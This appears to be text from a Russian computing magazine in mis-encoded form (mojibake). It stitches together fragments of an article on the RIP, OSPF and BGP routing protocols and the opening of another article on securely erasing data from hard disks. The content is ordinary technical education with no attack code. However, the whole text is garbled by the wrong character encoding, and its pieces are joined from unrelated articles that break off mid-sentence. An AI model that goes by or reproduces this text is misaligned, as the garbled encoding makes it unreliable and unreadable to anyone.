ñîáîé, îáðàçóÿ åäèíóþ ñåòü Internet. Íî, êàê òû ïîíèìàåøü, íåâîçìîæíî ïåðåäàòü
äàííûå êàæäîìó ìàðøðóòèçàòîðó îáî âñåõ îñòàëüíûõ ðîóòåðàõ. Ïîýòîìó ïðèíÿ-
òî âûäåëÿòü òàê íàçûâàåìûå «ïîãðàíè÷íûå øëþçû» àâòîíîìíîé ñèñòåìû. Âñå

òèïè÷íûå òàáëèöû ìàðøðóòèçàöèè äëÿ Windows è Cisco

OSPF

BGPv4

OSPF

RIPv2

RIPv1

óñëîâíàÿ ñõåìà ñåòè èíòåðíåò



àëüíû. Òàêèì îáðàçîì, âñå ðîóòåðû äîëæíû çíàòü îáî âñåõ ñâîèõ ñåòÿõ.
Ìåòðèêà â RIP ñîâïàäàåò ñ ÷èñëîì õîïîâ äî íóæíîé ñåòè. Â ñëó÷àå, åñëè
ìåòðèêà ðàâíà 16, ñåòü ñ÷èòàåòñÿ íåäîñòóïíîé. Ñëåäîâàòåëüíî, ïðîòîêîë
ìîæåò ðàáîòàòü ñ ñåòüþ, â êîòîðîé ìàêñèìàëüíî ÷èñëî øëþçîâ ìåíåå 16.
Äàâàé ðàññìîòðèì íàãëÿäíûé ïðèíöèï ðàáîòû ïðîòîêîëà RIP íà ïðèìåðå, 
è âñå ñòàíåò ïîíÿòíî. Ïðåäïîëîæèì, ó íàñ èìååòñÿ ñåòü èç ÷åòûðåõ ìàðøðó-
òèçàòîðîâ A, B, C è D (ñìîòðè ñêðèíøîò). Êàê òîëüêî ìû àêòèâèðîâàëè ïðîòî-
êîë, ëèáî ïîäàëè ïèòàíèå íà ðîóòåðû, íà÷èíàåòñÿ àêòèâíîå ïîïîëíåíèå ñâî-
èõ áàç. Ìàðøðóòèçàòîð A, ê ïðèìåðó, áóäó÷è ñîåäèíåííûì ñî øëþçàìè B, C
è ñ òóïèêîâîé ñåòüþ 1, ïîñëå âêëþ÷åíèÿ ðàçîøëåò ñëåäóþùóþ èíôîðìàöèþ:

1 -> 1
B -> 1� ìàðøðóòèçàòîðó C
è
1 -> 1
C -> 1� ìàðøðóòèçàòîðó B.

Ïîëó÷èâ ýòè äàííûå, ñêàæåì, ìàðøðóòèçàòîð C, íà÷èíàåò èõ îáðàáîòêó.
Ñïåðâà îí ïðîâåðÿåò, ÷òîáû ìåòðèêà íå ïðåâûøàëà 16, çàòåì èùåò â ñâî-
åé òàáëèöå ðîóòèíãà ñåòè íàçíà÷åíèÿ. Ïðè èõ îòñóòñòâèè îí âíåñåò âñþ èí-
ôîðìàöèþ, íî ïðåäâàðèòåëüíî óâåëè÷èò âñå ìåòðèêè íà åäèíèöó. Çàòåì
ðîóòåð C ïåðåäàñò ñëåäóþùèå äàííûå ìàðøðóòèçàòîðó D:

1 -> 2
B -> 2
A -> 1

øëþçû ñîåäèíÿþòñÿ ïî åäèíîé ìàãè-
ñòðàëè è îáìåíèâàþòñÿ äàííûìè
ïîñðåäñòâîì âíåøíèõ ïðîòîêîëîâ
ìàðøðóòèçàöèè (EGP � External
Gateway Protocol).
Ê âíóòðåííèì ïðîòîêîëàì, êàê ÿ óæå
îòìåòèë, îòíîñÿòñÿ RIP è OSPF. Åñòü
è äðóãèå ðåäêèå ìåòîäèêè, îäíàêî
ñòàíäàðòèçèðîâàííûìè è ïîïóëÿð-
íûìè ÿâëÿþòñÿ ýòè äâå. Ïðîòîêîë
RIP (Routing Information Protocol)
î÷åíü ïðîñò è óíèâåðñàëåí, ïîýòîìó
ïîääåðæèâàåòñÿ âñåìè îïåðàöèîí-
íûìè ñèñòåìàìè è æåëåçíûìè
ìàðøðóòèçàòîðàìè. Îí îòíîñèòñÿ ê
êëàññó «äèñòàíöèîííî-âåêòîðíûõ»
ïðîòîêîëîâ. Ñåé÷àñ ÿ ðàññêàæó î ðà-
áîòå RIP íåìíîãî ïîäðîáíåå.

[rest In Peace] Èäåÿ RIP î÷åíü
ïðîñòà. Êàæäûé ìàðøðóòèçàòîð
÷åðåç îïðåäåëåííûé èíòåðâàë
âðåìåíè îòñûëàåò èíôîðìàöèþ î
ñâÿçÿõ ñâîèì ñîñåäÿì. Ñîñåä ñî-
îòíîñèò èõ ñî ñâîåé áàçîé è äî-
áàâëÿåò äàííûå, åñëè îíè àêòó- [X
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Ïîäðîáíåå ïðî÷èòàòü ïðî
ãëîáàëüíûå ïðîòîêîëû
ìàðøðóòèçàöèè ìîæíî â
ýëåêòðîííîé áèáëèîòåêå
http://athena.vvsu.ru/net/book/

ãðàô, ïîñòðîåííûé ïðîòîêîëîì OSPF

Íà êîìïàêòå òû íàéäåøü
íåñêîëüêî ñòàòåé ïî ñåòå-
âûì ïðîòîêîëàì, à òàêæå
ó÷åáíèê «Êîìïüþòåðíûå
ñåòè» â ýëåêòðîííîì âèäå
ïîä ðåäàêöèåé Â. Îëèôåðà,
ãäå íàõîäèòñÿ îïèñàíèå âñåõ
ãëîáàëüíûõ ïðîòîêîëîâ.



Íî ïðåäïîëîæèì, ÷òî ðîóòåð B óæå ïåðåäàë ýòè ñâåäåíèÿ ðàíüøå. Ïðè ýòîì ó
ìàðøðóòèçàòîðà D óæå óñïåëà ñôîðìèðîâàòüñÿ òî÷íî òàêàÿ æå òàáëèöà. Â ýòîì
ñëó÷àå òàáëè÷íûå è ïîëó÷åííûå ìåòðèêè îêàæóòñÿ îäèíàêîâûìè. Òîãäà D ïðîñ-
òî ïðîèãíîðèðóåò äàííûå è íå ñîõðàíèò èõ â ïàìÿòè. Òî æå ñàìîå ïðîèçîøëî,
åñëè áû D ïîëó÷èë ìåòðèêè, ïðåâûøàþùèå ñîáñòâåííûå äî òîé æå ñåòè.
×åðåç îïðåäåëåííîå âðåìÿ âñå ðîóòåðû áóäóò çíàòü îáî âñåõ ñåòÿõ â îáùåé
àâòîíîìíîé ñèñòåìå. Ïîñëå ýòîãî îáìåí äàííûìè áóäåò ïðîèñõîäèòü ðàç â
30 ñåêóíä, íî åñëè ñâåäåíèÿ î ñåòè íå áûëè ïîëó÷åíû â òå÷åíèå 180 ñåêóíä,
òî ìàðøðóòèçàòîð óñòàíîâèò ìåòðèêó äî ñåòè ðàâíîé 16, ÷òî áóäåò ãîâîðèòü
îá åå íåäîñòóïíîñòè. Òàêèì îáðàçîì, îáíàðóæèâàþòñÿ îòêëþ÷åíèÿ øëþ-
çîâ, ëèáî àâàðèè íà êàíàëàõ.
Áûâàþò ñëó÷àè, êîãäà ïðîèñõîäÿò âíåøòàòíûå ñèòóàöèè, ïîëó÷èâøèå íàç-
âàíèÿ «çàöèêëèâàíèå» è «ñ÷åò äî áåñêîíå÷íîñòè». Ýòè âðåäíûå ÿâëåíèÿ
çàñîðÿþò ñåòü ëîæíîé èíôîðìàöèåé è ìîãóò äëèòüñÿ äî ïîëó÷àñà. Çàöèê-
ëèâàíèå ïðîèñõîäèò ïîñëå îòêëþ÷åíèÿ îäíîé èç ñåòè, êîãäà ñòîðîííèé ðî-
óòåð îïîâåñòèò ñîñåäà, ÷òî ñåòü äîñòóïíà ÷åðåç íåãî (â ñëó÷àå, åñëè ñîñåä
íå óñïååò îïîâåñòèòü ìàðøðóòèçàòîð î íåäîñòóïíîñòè ñåòè). Òàêèì îáðà-
çîì, ìåæäó øëþçàìè îáðàçóåòñÿ ïåòëÿ.
×òîáû èçáåæàòü ïåòåëü, ââîäÿò äâà îãðàíè÷åíèÿ â ïðîòîêîë RIP. Ïåðâîå íà-
çûâàåòñÿ «ïðàâèëîì ðàçäåëåíèÿ ãîðèçîíòà». Îíî ãëàñèò, ÷òî ìàðøðóòèçàòîð
A íå äîëæåí îòïðàâëÿòü äàííûå î ñåòè B, ìàðøðóòèçàòîðó C, åñëè ïîñëåä-
íèé åìó ñîîáùèë î ñåòè B. Èíûìè ñëîâàìè, ðîóòåð íå øëåò èíôó î ñåòè ñî-
ñåäó, åñëè èçíà÷àëüíî ïîëó÷èë ñâåäåíèÿ îá ýòîé ñåòè îò íåãî. Âòîðîå îãðà-
íè÷åíèå îáÿçûâàåò øëþç èçìåíèòü ìåòðèêó ìàðøðóòà, åñëè åå ðàçîñëàë òîò
æå ñàìûé ðîóòåð. Îò÷àñòè, ýòè äîáàâëåíèÿ ñïàñàþò îò ïåòåëü, íî íå âñåãäà.
Áûâàåò, ÷òî ìàðøðóòèçàòîð ïîëó÷àåò ëîæíûå äàííûå îò ñòîðîííåãî øëþçà
ïî öåïî÷êå. Íî ìû íå áóäåì óãëóáëÿòüñÿ â òàêèå ñëîæíîñòè :).
Ñ÷åò äî áåñêîíå÷íîñòè ïðîèñõîäèò â ðåçóëüòàòå íåñâîåâðåìåííîãî îïîâå-
ùåíèÿ ñòàíöèé. Ïðè ýòîì ëîæíûé ìàðøðóò ìîæåò ñóùåñòâîâàòü, ïîêà ìåò-
ðèêà ñåòè íå ñòàíåò ðàâíîé 16. Âîò êàê ýòî ïðîèñõîäèò.
Ïðåäïîëîæèì, ÷òî ïðîèçîøëî âíåçàïíîå îòêëþ÷åíèå ñåòè 1. Ìàðøðóòèçà-
òîð A, îáíàðóæèâàÿ ïðîïàæó ëèíêà, ðàññûëàåò øëþçàì B è C âåêòîð ðàñ-
ñòîÿíèÿ 1->16. Äî øëþçà C ýòà èíôîðìàöèÿ äîøëà ñðàçó, è îí ñâîåâðåìåí-
íî èçìåíèë ìàðøðóò (ñîãëàñíî âòîðîìó îãðàíè÷åíèþ). Îäíàêî äî øëþçà B
ýòà èíôà íå äîøëà (ïðîèçîøëà çàäåðæêà). Â ýòî âðåìÿ øëþç B ðàññûëàåò
èíôîðìàöèþ ðîóòåðó C, ãëàñÿùóþ î òîì, ÷òî ñåòü A äîñòóïíà ÷åðåç íåãî è
èìååò ìåòðèêó 2. Ìàðøðóòèçàòîð C ïðèíèìàåò ýòó èíôîðìàöèþ, óâåëè÷è-
âàåò ìåòðèêó íà åäèíèöó è ðàññûëàåò äàííûå äàëüøå � øëþçó A. Äîïóñ-
òèì, â ýòî âðåìÿ ïàêåò ê øëþçó B ñ âåêòîðîì ðàññòîÿíèÿ 1->16 âñå-òàêè äî-
øåë. Íî ñëåäîì äîøåë è ïàêåò ñ ðàññòîÿíèåì 3 îò òîãî æå øëþçà A. Â èòî-
ãå âñÿ ýòà èíôà áóäåò öèðêóëèðîâàòü ïî âñåì òðåì ðîóòåðàì äî òåõ ïîð, ïî-
êà âî âñåõ òàáëèöàõ íå áóäåò óñòàíîâëåíà ìåòðèêà 16. Ýòî ÿâëåíèå è ïîëó-
÷èëî íàçâàíèå «ñ÷åòà äî áåñêîíå÷íîñòè».
Áîðþòñÿ ñ íèì äâóìÿ ñïîñîáàìè: çàìîðàæèâàíèåì èçìåíåíèé (êîãäà íà
âðåìÿ øëþç, óëîâèâøèé, ÷òî ñåòü îòêëþ÷åíà, íå ïðèíèìàåò ñâåäåíèÿ îá

ýòîé ñåòè), ëèáî òðèããåðíûìè îáíîâëåíèÿìè (â ñëó÷àå íåìåäëåííîé ðàñ-
ñûëêè ñâåäåíèé î íåäîñòóïíîñòè ñåòè, íåçàâèñèìî îò òåêóùåãî çíà÷åíèÿ
òàéìåðà). Îäíàêî äàæå ýòè ìåòîäû íå ìîãóò ãàðàíòèðîâàòü îòñóòñòâèå ñ÷å-
òà äî áåñêîíå÷íîñòè â RIP-ñèñòåìå.

[OSPF� ëó÷øèé ïðîòîêîë äëÿ âíóòðåííåé ìàðøðóòèçàöèè] Íà
ñìåíó RIP ïðèøåë ïðîòîêîë OSPF, êîòîðûé ñíèìàåò îãðàíè÷åíèå â 15 óç-
ëîâ è ñâîäèò ê ìèíèìóìó ñëóæåáíûé òðàôèê. Îí îòíîñèòñÿ ê êëàññó ïðîòî-
êîëîâ «ñîñòîÿíèÿ ñâÿçåé», à åãî ðàáîòà ñêëàäûâàåòñÿ â äâà ýòàïà:

1 Êàæäûé ìàðøðóòèçàòîð ïîñëå âêëþ÷åíèÿ ðàññûëàåò èíôîðìàöèþ ïî
âñåì ñâîèì èíòåðôåéñàì îáî âñåõ ñâîèõ ñîñåäÿõ, èñïîëüçóÿ ñîîáùåíèÿ òè-
ïà Link-State.
2 Ïîñëå ñîñòàâëåíèÿ ïîëíîé ñåòåâîé êàðòèíû ðîóòåð íà÷èíàåò èñêàòü îï-
òèìàëüíûé ìàðøðóò äî êàæäîé ñåòè, èñïîëüçóÿ ñïåöèàëüíûé àëãîðèòì
Äèéêñòðû (à åùå Äèéñêòðà, êîçåë, ïðèäóìàë ñåìàôîðû, êîòîðûå ìíå
ïðèøëîñü ñäàâàòü ïî ïðåäìåòó ÎÑ � Ïðèì. Áóáëèêà).

Ïî èñòå÷åíèþ îïðåäåëåííîãî âðåìåíè ñîñåäè îáìåíèâàþòñÿ äðóã ñ äðóãîì
ñïåöèàëüíûìè ñîîáùåíèÿìè HELLO, êîòîðûå ãîâîðÿò î òîì, ÷òî ñîñåä æèâ
è çäîðîâ :). Â ñëó÷àå, åñëè ðîóòåð ïî êàêîé-òî ïðè÷èíå îòêëþ÷èëñÿ, ìàðø-
ðóòèçàòîð íåìåäëåííî ðàññûëàåò îáíîâëåííûå äàííûå î ñîñåäÿõ, ÷òîáû
èñêëþ÷èòü ìåðòâûé øëþç. Âñå ðîóòåðû íà÷èíàþò ïåðåñòðàèâàòü ìàðøðó-
òû, êîòîðûå ïðîõîäèëè ÷åðåç îòêëþ÷åííûé ìàðøðóòèçàòîð. Òàêèì îáðà-
çîì, ñåòåâàÿ àêòèâíîñòü â ïðîòîêîëå OSPF ïðàêòè÷åñêè íóëåâàÿ è äîñòèãà-
åò ïèêà òîëüêî â ñòàäèè îáìåíà ñâÿçÿìè.
Äóìàþ, ïîíÿòíî, ÷òî ïðè ÷àñòûõ îòêëþ÷åíèÿõ êàíàëà ïåðåñ÷åò ìàðøðóòîâ
è îáìåí ëèøíèì òðàôèêîì áóäåò âåñüìà íàêëàäåí äàæå â OSPF. Ïîýòîìó
ñîâñåì íåîáÿçàòåëüíî èñïîëüçîâàòü îäíó òàáëèöó äëÿ âñåé àâòîíîìíîé
ñèñòåìû. Â ïðîòîêîëå ñóùåñòâóåò äåëåíèå ñèñòåìû íà îòäåëüíûå çîíû,
äëÿ êàæäîé èç êîòîðîé áóäåò èñïîëüçîâàí îòäåëüíûé ïðîöåññ OSPF.
×òî êàñàåòñÿ ìåòðèêè, òî çäåñü âñå íàìíîãî óäîáíåå, ÷åì â RIP. Ìåòðèêà
ïðåäñòàâëÿåò ñîáîé óæå íå ÷èñëî õîïîâ, à ïðîïóñêíóþ ñïîñîáíîñòü êàíàëà
(âðåìÿ ïåðåäà÷è îäíîãî áèòà â 10-íàíîñåêóíäíûõ èíòåðâàëàõ). Òàê, äëÿ
Ethernet ìåòðèêà ðàâíà äåñÿòè, äëÿ Fast Ethernet � åäèíèöå, à äëÿ êàíàëà
56 Êá/ñ � ÷èñëó 1785. Ïîëíàÿ ìåòðèêà äëÿ îïðåäåëåííîãî ìàðøðóòà ÿâëÿ-
åòñÿ ñóììîé âñåõ ïðîìåæóòî÷íûõ êàíàëîâ. Ïðè ýòîì OSPF íèêîãäà íå ïðî-
ïóñòèò ïàêåò ÷åðåç äèàëàïíûé êàíàë â îäèí õîï, åñëè èìååòñÿ ñâÿçü, ïîñò-
ðîåííàÿ íà Fast Ethernet, ïóñòü äàæå ñîñòîÿùàÿ èç 3�4 õîïîâ.
Ñëåäóåò îòìåòèòü, ÷òî OSPF óìååò ïîñûëàòü äàííûå ñðàçó ïî íåñêîëüêèì êà-
íàëàì, òåì ñàìûì, óìåíüøàÿ íàãðóçêó íà ñåòü. Îäíàêî â ýòîì ñëó÷àå äåéñòâó-
åò îãðàíè÷åíèå ïî ìåòðèêå. Çà ïîäðîáíîñòÿìè îáðàùàéñÿ â áîëåå ðàçâåðíó-
òóþ òåîðèþ ïî OSPF, âñå îñîáåííîñòè êîòîðîé íå ïîìåñòÿòñÿ â ýòîé ñòàòüå. 

[BGP ñáëèæàåò ñèñòåìû] Â çàêëþ÷åíèå ìàòåðèàëà ÿ ðàññêàæó î âíåø-
íåì ïðîòîêîëå BGP. Íà òåêóùèé ìîìåíò ýòîò BGP çàðåëèçåí ïîä ÷åòâåðòîé
âåðñèåé è íå èìååò êîíêóðåíòîâ. Ïðèíöèï ðàáîòû ïðîòîêîëà î÷åíü ïðîñò: íà
ãðàíè÷íûõ øëþçàõ àâòîíîìíîé ñèñòåìû ïðîïèñàíû îïðåäåëåííûå ïðàâèëà,
ñîãëàñíî êîòîðûì ìàðøðóòèçàòîð áóäåò ðàññûëàòü ïàêåòû ïî ñâîèì èíòåð-
ôåéñàì. Ñêàæåì, åñëè àäìèíèñòðàòîð ïðîïèñàë ïðàâèëî íà âðåìÿ ñóòîê, òî
äíåì äàííûå áóäóò îòïðàâëÿòüñÿ ïî îäíîìó èíòåðôåéñó, à íî÷üþ ïî äðóãî-
ìó. Òàêæå ìîæíî êëàññèôèöèðîâàòü òðàôèê ïî ïðèîðèòåòó, êà÷åñòâó èí-
ôîðìàöèè è ò.ï. Âñå ãðàíè÷íûå øëþçû îáÿçàòåëüíî îáìåíèâàþòñÿ ìåæäó
ñîáîé òàáëèöàìè ìàðøðóòèçàöèè. Òàêèì îáðàçîì, ê òàêîìó ðîóòåðó âûäâè-
ãàþòñÿ äîâîëüíî æåñòêèå òðåáîâàíèÿ ïî äèñêîâîìó ïðîñòðàíñòâó è ïðîèçâî-
äèòåëüíîñòè. Îäíàêî ñ ïîìîùüþ ìåõàíèçìà ñóììèðîâàíèÿ ìàðøðóòîâ ìîæ-
íî ñóùåñòâåííî ñíèçèòü ðàçìåð ïåðåäàâàåìîé èíôîðìàöèè.

[÷òî âûáðàòü? Ðåøàé ñàì!] Åñëè òû çàèíòåðåñîâàí â âûáîðå ïðîòîêî-
ëà ìàðøðóòèçàöèè, òî òåáå íåîáõîäèìî âçâåñèòü âñå «çà» è «ïðîòèâ». 
Ñ îäíîé ñòîðîíû, ãðîìîçäêèé OSPF ìîæåò âñå è åùå ÷óòü-÷óòü, íî îïÿòü-
òàêè, æðåò ìíîãî ðåñóðñîâ. Ñ äðóãîé� íèêòî íå ìåøàåò èñïîëüçîâàòü RIP
âòîðîé âåðñèè, êîòîðûé íàó÷èëñÿ ïîíèìàòü ìàñêè ïîäñåòè è àóòåíòèôèêà-
öèþ, ÷åãî íå óìåë åãî ïðåäøåñòâåííèê[X
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| ÑÑÓÌÌÈÐÎÂÀÍÈÅ ÌÌÀÐØÐÓÒÎÂ || 
Ñóùåñòâóåò èíòåðåñíûé ïðèåì ñóììèðîâàíèÿ ìàðøðóòîâ ñ ïî-
ìîùüþ áîëåå êîðîòêèõ ìàñîê, ïðèìåíèìûé âî ìíîãèõ ñåòåâûõ
ïðîòîêîëàõ. Ê ïðèìåðó, ó íàñ èìååòñÿ äâå ñåòè, ïîäêëþ÷åííûå
ê îäíîìó ìàðøðóòèçàòîðó. Ïåðâàÿ èìååò àäðåñ 192.168.1.0/25,
à âòîðàÿ � 192.168.1.128/25. Äàííûå ñåòè ìîæíî ëåãêî îáúå-
äèíèòü â îáùóþ 192.168.1.0/24 è ïåðåäàòü èíôîðìàöèþ î íåé
âûøåñòîÿùåìó ìàðøðóòèçàòîðó. Â èòîãå ïîèñê ìàðøðóòà áó-
äåò ïðîèñõîäèòü áûñòðåå, à òðàôèêà ïî êàíàëàì ïåðåäàâàòüñÿ
â äâà ðàçà ìåíüøå. 
Åñëè æå èìåþòñÿ äâå ñåòè, ñêàæåì, ñ ìàñêîé /26, êîòîðûå íå ïå-
ðåêðûâàþò äðóã äðóãà ïîëíîñòüþ, òî ñóììèðîâàòü ìàðøðóò íåëü-
çÿ. Âîçìîæåí ñëó÷àé, êîãäà îñòàòî÷íàÿ ïîäñåòü íàõîäèòñÿ ñîâñåì
â äðóãîì ìåñòå, îäíàêî ìàðøðóòèçàòîð íå áóäåò çíàòü îá ýòîì.
Ñòîèò ïîìíèòü, ÷òî RIPv1 íå ïîíèìàåò ìàñîê, ïîýòîìó ñóììèðîâà-
íèå ìîæåò ïðèìåíÿòüñÿ ëèøü â ïðîòîêîëàõ BGP, OSPF è RIPv2.
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[introduction] Íà÷íó, ïîæàëóé, ñ òîãî, ÷òî ðàç-
âåþ îäèí èç ìèôîâ, êîòîðûé ïðî÷íî çàêðåïèëñÿ
â óìàõ îáûâàòåëåé: «Åñëè ÷åëîâåê ñêðûâàåò ÷òî-
òî, çíà÷èò, åìó åñòü ÷òî ñêðûâàòü!». Ñîáñòâåííî,
íàøè äîáëåñòíûå îðãàíû äîñòàòî÷íî ÷àñòî ðóêî-
âîäñòâóþòñÿ ýòèì çàáëóæäåíèåì, ÷òî ïðÿìî íà-
ðóøàåò ñòàòüþ 23 è ñòàòüþ 51 êîíñòèòóöèè ÐÔ.
Òàê ÷òî äàæå åñëè íå çàíèìàåøüñÿ òåìíûìè äå-
ëèøêàìè, òû èìååøü ïîëíîå ïðàâî øèôðîâàòü
ñîäåðæèìîå ñâîåãî äèñêà è ïðîâîäèòü ðåãóëÿð-
íóþ çà÷èñòêó ñâîáîäíûõ ñåêòîðîâ. 

[technologies] Íó ÷òî æå, ïåðåéäåì ê äåëó.
Ïîïûòàþñü èçëîæèòü òåáå íå÷òî áîëåå ïðè-
ìåíèìîå, ÷åì ñòàòüè êîíñòèòóöèè, à èìåííî
òåõíîëîãèè áåçâîçâðàòíîãî óäàëåíèÿ èíôîð-
ìàöèè ñ ìàãíèòíûõ íîñèòåëåé. Ïîçâîëþ ñåáå
íàïîìíèòü, ÷òî ÿ íå ñòàâëþ ñâîåé öåëüþ íà-
ïèñàòü ìàíóàë òâîèõ äåéñòâèé â ñëó÷àå ïîñå-
ùåíèÿ òâîåãî äîìà âåñåëûìè ðåáÿòàìè èç
ìàñêè-øîó, à âñåãî ëèøü ïûòàþñü ðàñøèðèòü
òâîé êðóãîçîð â äàííîé îáëàñòè è îáåçîïà-
ñèòü òåáÿ îò ðàçëè÷íûõ ëþáîïûòñòâóþùèõ,
âðîäå ñîñåäà Âàñè ñíèçó èëè òåòè Êëàâû
ñâåðõó, êîòîðûå íå ïðî÷ü ïîêîïàòüñÿ â ÷óæîé
ëè÷íîé èíôîðìàöèè, â òîì ÷èñëå, è õðàíÿ-
ùåéñÿ íà òâîåì êîìïüþòåðå. 
Êàê òåáå, íàäåþñü, èçâåñòíî, â òîì ÷èñëå è èç íà-
øåãî æóðíàëà, èíôîðìàöèÿ, óäàëåííàÿ ñðåä-
ñòâàìè îïåðàöèîííîé ñèñòåìû, áóäü òî Windows
èëè Linux, ëåãêî ìîæåò áûòü âîññòàíîâëåíà ëþ-
áûì ìàëî-ìàëüñêè ïðîäâèíóòûì ïîëüçîâàòåëåì
ïðè íàëè÷èè îïðåäåëåííîãî ñîôòà, à óæ òåì áî-
ëåå ïðîôåññèîíàëàìè, îáâåøàííûìè ñïåöîáîðó-
äîâàíèåì, êîòîðîå ìîæíî óâèäåòü ëèøü â øïèî-
íñêèõ ôèëüìàõ:). 

030

ÏÐÈÂÅÒÑÒÂÓÞ, Î, ÂÅËÈÊÈÉ ÌÎÉ ×ÈÒÀÒÅËÜ!
ÂÎÑÑÒÀË ß ÈÇ ÌÅÐÒÂÛÕ (ÏÅÐÅÄÀÉÒÅ ÏÐÈ-
ÂÅÒ ÌÀÉÍÄÂÎÐÊÓ � ß ÂÎÑÊÐÅÑ:)), ×ÒÎÁÛ
ÂÀÆÍÓÞ ÒÀÉÍÓ Î ÏÐÎÏÀÂØÅÉ ÈÍÔÎÐÌÀ-
ÖÈÈ ÒÅÁÅ ÏÎÂÅÄÀÒÜ, ÍÎ ÇÍÀÉ: Ê ÒÅÌÍÎÉ
ÑÒÎÐÎÍÅ ÝÒÎ ÂÅÄÅÒ� ÒÜÔÓ, ÂÎÒ ÏÐÈÅ-
ËÎÑÜ-ÒÎ! ÑÅÃÎÄÍß ß ÐÀÑÊÐÎÞ ÒÅÁÅ ÃËÀÇÀ
ÍÀ ÒÀÊÓÞ ÂÀÆÍÓÞ Â ÍÀØÅÌ ÄÅËÅ ÏÐÎÁËÅ-
ÌÓ, ÊÀÊ ÕÐÀÍÅÍÈÅ È ÇÀÙÈÒÀ ÈÍÔÎÐÌÀÖÈÈ,
À Â ×ÀÑÒÍÎÑÒÈ, ÅÅ ÏÎËÍÎÅ È ÁÅÇÂÎÇÂÐÀÒ-
ÍÎÅ ÓÄÀËÅÍÈÅ Ñ ÓÑÒÐÎÉÑÒÂ ÕÐÀÍÅÍÈß
ÄÀÍÍÛÕ. | ShadOS (ShadOS@real.xakep.ru, www.ru24-team.net)
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Ïðîñòåéøèå òåõíîëîãèè âîññòàíîâ-
ëåíèÿ èíôîðìàöèè îñíîâàíû íà òîì,
÷òî ïðè óäàëåíèè èíôîðìàöèè ñðåä-
ñòâàìè îïåðàöèîííîé ñèñòåìû ôàê-
òè÷åñêè ñòèðàåòñÿ èíôîðìàöèÿ èç
òàáëèöû ðàçìåùåíèÿ î ðàñïîëîæå-
íèè ôàéëà íà äèñêå, à èíôîðìàöèÿ,
õðàíÿùàÿñÿ â îáëàñòè äàííûõ, îñòà-
åòñÿ â èñõîäíîì ñîñòîÿíèè. È ïîìè-
ìî òîãî, íàïðèìåð, â Windows 2003
Server ñóùåñòâóåò òàê íàçûâàåìàÿ
«ñèñòåìà âåðñèé», êîòîðàÿ ïðåäîòâ-
ðàùàåò ñëó÷àéíîå óíè÷òîæåíèå ôàé-
ëîâ ïîëüçîâàòåëåì. Èçìåíåííûå ôàé-
ëû õðàíÿòñÿ â ñïåöèàëüíî îòâåäåí-
íîé ñêðûòîé îáëàñòè äèñêà (shadow
area), è èõ òàêæå íåîáõîäèìî óäà-
ëÿòü, ÷òîáû ïðåäîòâðàòèòü âîçìîæ-
íîñòü âîññòàíîâëåíèÿ äàííûõ. Åñòü
åùå â Windows è âðåìåííûå êîïèè
ôàéëîâ, è äàííûå, íàõîäÿùèåñÿ â
ôàéëå ïîäêà÷êè, è çà âñåì ýòèì íóæ-
íî ñëåäèòü, ÷òîáû íå óïóñòèòü êîíôè-
äåíöèàëüíóþ èíôîðìàöèþ.

Íî âñå æå ïðîöåäóðà âîññòàíîâëåíèÿ ñòåðòûõ ôàéëîâ áåç ó÷åòà ñêðûòûõ îá-
ëàñòåé ñâîäèòñÿ ê ïîñëåäîâàòåëüíîìó ïîèñêó èíôîðìàöèè ïî âñåìó æåñòêî-
ìó äèñêó, îäíàêî ýòîò ìåòîä íå ãàðàíòèðóåò ïîëíîãî âîññòàíîâëåíèÿ è ñëîæ-
íîñòü åãî èñïîëüçîâàíèÿ ïðîïîðöèîíàëüíû ñòåïåíè ôðàãìåíòàöèè ôàéëî-
âîé ñèñòåìû. Íå ñòîèò äóìàòü, ÷òî åñëè òû íè ðàçó íå çàïóñêàë äåôðàãìåí-
òàòîð, ýòî ñïàñåò òåáÿ îò ïîñÿãàòåëüñòâ íà òâîè äàííûå: åñëè òû õîòü íåìíî-
ãî õîäèë íà èíñòèòóòñêèå ëåêöèè ïî ôèçèêå, òåáå äîëæíî áûòü èçâåñòíî î òà-
êîì ÿâëåíèè, êàê ãèñòåðåçèñ (òüôó, è çà÷åì ÿ çàáèâàë íà ëåêöèè ïî ôèçèêå?
:( � Ïðèì. Áóáëèêà). Ñóòü ãèñòåðåçèñà çàêëþ÷àåòñÿ â îòñòàâàíèè èçìåíåíèÿ
ìàãíèòíîé èíäóêöèè îò èçìåíåíèÿ íàïðÿæåííîñòè ìàãíèòíîãî ïîëÿ H. Ãðóáî
ãîâîðÿ, ãèñòåðåçèñ îáóñëîâëåí âíóòðåííèì òðåíèåì îáëàñòåé ñàìîïðîèç-
âîëüíîãî ïåðåìàãíè÷èâàíèÿ. Èìåííî áëàãîäàðÿ (à ìîæåò, è íå áëàãîäàðÿ :))
ýòîìó îòñòàâàíèþ â îáëàñòÿõ íà êðàÿõ äîðîæêè ìàãíèòíîãî íîñèòåëÿ, ñòàíî-
âèòñÿ äîñòóïíûì âîññòàíîâëåíèå äàæå ïåðåçàïèñàííîé èíôîðìàöèè. 
Â ñàìîì ïðîñòîì ñëó÷àå äëÿ óíè÷òîæåíèÿ èíôû äîñòàòî÷íî îòêðûòü òåêñòîâûì
ðåäàêòîðîì æåëàåìûé ôàéë è çàáèòü åãî ñëó÷àéíîé áåëèáåðäîé. Äàííûé ñïî-
ñîá óæå îäíîçíà÷íî îòìåòàåò îãðîìíîå ÷èñëî äîñòàòî÷íî èçâåñòíûõ óòèëèò òà-
êèõ, êàê Easy Recovery èëè GetDataBack, çàñòàâëÿÿ èõ íåðâíî êóðèòü â ñòîðîí-
êå. Íî íå ñòîèò ñïèñûâàòü èõ ñî ñ÷åòîâ, âåäü îíè ñîçäàâàëèñü íå äëÿ ñòîëü
ñëîæíûõ çàäà÷, è ðå÷ü î íèõ ÿ  âåñòè ñåãîäíÿ íå áóäó . Îäíàêî ñïåøó òåáÿ îãîð-
÷èòü è, íàêîíåö, îòêðûòü ñòðàøíóþ òàéíó: ñóùåñòâóþò ñïåöèàëüíûå óòèëèòû è
óñòðîéñòâà, êîòîðûå ïîçâîëÿþò âîññòàíîâèòü èíôîðìàöèþ äàæå ïîñëå ñòîëü
ñëîæíûõ èçâðàùåíèé ñ òåêñòîâûì ðåäàêòîðîì. Êðîìå òîãî, íå ñòîèò äóìàòü,
÷òî ýòèìè ñðåäñòâàìè îáëàäàþò òîëüêî ñïåöñëóæáû: èñïîëüçîâàíèå ñðåäñòâ è
ìåòîäîâ âîññòàíîâëåíèÿ èíôû ïîëîæåíî ìíîãèìè ôèðìàìè íà ïîòîê, ïðèíîñÿ
